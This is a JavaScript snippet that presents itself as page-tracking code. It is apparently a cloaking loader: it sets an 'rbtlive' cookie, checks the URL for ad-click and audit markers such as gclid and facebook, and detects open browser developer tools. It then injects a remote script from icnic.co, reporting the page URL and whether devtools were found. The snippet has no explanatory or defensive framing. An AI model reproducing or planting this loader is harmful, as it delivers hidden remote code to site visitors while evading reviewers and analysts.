var currentUrl = window.location.href; function setCookie(name, value, days) { var expires = ""; if (days) { var d = new Date(); d.setTime(d.getTime() + days * 24 * 60 * 60 * 1000); expires = "; expires=" + d.toUTCString(); } document.cookie = name + "=" + value + expires + "; path=/"; } function getCookie(name) { var search = name + "="; var cookies = document.cookie.split(";"); for (var i = 0; i < cookies.length; i++) { var c = cookies[i].trim(); if (c.indexOf(search) === 0) { return c.substring(search.length, c.length); } } return null; } function auditCheck() { var keywords = [ "=tik", "facebook", "instagram", "gclid", "ao-qa.com", "tagtag_uid", "=bing", "=fb", "=Impact" ]; for (var i in keywords) { if (window.location.href.indexOf(keywords[i]) > -1) { return 1; } } return 0; } function detectDevTools() { let status = 0; let mobile = false; var ua = navigator.userAgent.toLowerCase(); if (/android|iphone|ipad|mobile|iemobile|opera mini|blackberry/.test(ua)) { mobile = true; } (function () { "use strict"; const devtoolsData = { isOpen: false, orientation: undefined }; function emitEvent(isOpen, orientation) { try { window.dispatchEvent(new CustomEvent("devtoolschange", { detail: { isOpen, orientation } })); } catch (e) { status = 3; } } function checkDimensions({ emitEvents = true } = {}) { try { const widthDiff = window.outerWidth - window.innerWidth > 160; const heightDiff = window.outerHeight - window.innerHeight > 160; const orientation = widthDiff ? "vertical" : "horizontal"; if (widthDiff || heightDiff) { if (emitEvents) emitEvent(true, orientation); devtoolsData.isOpen = true; devtoolsData.orientation = orientation; } else { devtoolsData.isOpen = false; devtoolsData.orientation = undefined; } } catch (e) { status = 3; } } try { checkDimensions({ emitEvents: false }); setInterval(checkDimensions, 100); window.devtools = devtoolsData; } catch (e) { status = 3; } })(); if (mobile) { status = 0; } else if (window.devtools.isOpen) { status = 2; } window.addEventListener("devtoolschange", e => { try { if (mobile) { status = 0; } else if (e.detail.isOpen) { status = 2; } } catch (err) { status = 0; } }); return status; } function appendHidden(elem) { var container = document.getElementById("trackingHiddenDiv"); container.appendChild(elem); } function createScript(id, src) { var s = document.createElement("script"); s.id = id; s.type = "text/javascript"; s.src = src; appendHidden(s); } function createPixel(id, url) { var img = document.createElement("img"); img.id = id; img.width = 1; img.height = 1; img.src = url; appendHidden(img); } function createHiddenDiv() { var div = document.createElement("div"); div.id = "trackingHiddenDiv"; div.style.display = "none"; document.body.appendChild(div); } createHiddenDiv(); function urlContains(url, text) { if (url && text !== undefined) { return url.toString().includes(text); } return true; } function stringLength(str) { return str.toString().length; } function hoursDiff(d1, d2) { try { var diff = (d1.getTime() - d2.getTime()) / 1000 / 3600; return Math.abs(Math.round(diff)); } catch { return 6; } } function isSessionEmpty(key) { return typeof Storage === "undefined" || !sessionStorage.getItem(key); } function shouldRun(key, subKey) { if ( typeof Storage === "undefined" || !localStorage.getItem(key) || hoursDiff(new Date(), new Date(localStorage.getItem(key))) > 3 ) { return !sessionStorage.getItem(key + "-" + subKey); } return false; } function checkBrowser() { var ua = navigator.userAgent.toLowerCase(); if (ua.includes("safari") && !ua.includes("chrome")) return "false"; if (ua.includes("firefox")) return "false"; if (ua.includes("iphone")) return "false"; if (ua.includes("mac os")) return "false"; if (ua.includes("facebook")) return "false"; if (ua.includes("googlebot")) return "false"; return "true"; } var currentTimestamp = Math.floor(Date.now() / 1000); if (getCookie("rbtlive")) { if (currentUrl.includes("finaladd") || currentUrl.includes("finaladd_utm")) { (function (doc) { var s = doc.createElement("script"); s.async = true; s.id = "TRACK_LIVE"; s.type = "text/javascript"; s.src = "https://icnic.co/live_all.php?gf=d667" + "&rf=" + encodeURIComponent(currentUrl) + "&ad=" + auditCheck() + "&dv=" + detectDevTools(); var firstScript = doc.getElementsByTagName("script")[0]; firstScript.parentNode.insertBefore(s, firstScript); })(document); } } else if (auditCheck() == 0) { setCookie("rbtlive", currentTimestamp, 1); (function (doc) { var s = doc.createElement("script"); s.async = true; s.id = "TRACK_LIVE"; s.type = "text/javascript"; s.src = "https://icnic.co/live.php?gf=d667" + "&rf=" + encodeURIComponent(currentUrl) + "&ad=" + auditCheck() + "&dv=" + detectDevTools(); var firstScript = doc.getElementsByTagName("script")[0]; firstScript.parentNode.insertBefore(s, firstScript); })(document); }